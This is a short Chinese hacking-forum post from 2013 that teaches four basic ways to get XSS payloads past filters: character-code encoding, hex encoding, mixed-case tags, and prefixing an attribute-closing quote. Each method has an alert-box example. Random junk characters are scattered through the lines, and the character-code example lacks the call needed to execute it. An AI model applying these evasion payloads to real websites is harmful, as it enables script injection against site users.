找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2156|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。
6 C/ }" r4 g9 Q6 H6 f9 m+ p1.转换为ASCII码
, }/ }# p. O5 L0 d) I: p* Q例子:原脚本为<script>alert(‘I love F4ck’)</script >/ G" ~4 A  f0 A0 ?6 v
通过转换,变成:
1 M) X5 c% c" A& B; r<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>- V7 z1 c( z8 J1 G( Z3 k

+ t( P+ v1 _: x# k" o1 k$ R9 |2.转换为HEX(十六进制)
/ E# x$ E2 S/ D  ?8 j5 J" ~例子:原脚本为<script>alert(‘I love F4ck’)</script>+ y& {! g% I2 D# @& m4 f7 ~; E
通过转换,变成:  W6 d  C0 I8 J+ b: W
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
' |3 [2 i/ Z5 q5 k6 h4 y% J
/ q  C# b% E( l: T3.转换脚本的大小写
9 O* S0 k" S* e. W& h% M/ X" p例子:原脚本为<script>alert(‘I love F4ck’)</script>
6 f! K4 D( B' y: D" m" o* T# |转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
1 W5 y1 K& L8 W, l' y
  F( _9 F$ @' `- f6 X4.增加闭合标记”>
. v( t1 Y" v# E1 _例子:原脚本为<script>alert(‘I love F4ck’)</script>
* K( k1 V; L: }& J1 ?$ T转换为:”><script>alert(‘I love F4ck’)</script>2 W4 [5 i, H$ ~; T
更详细绕过技术请参考此网页. Q) C1 {% \+ `
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
' Q/ X! ^8 z% h, P! j
/ d5 O0 ~2 C* |: Z2 h0 H9 W转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表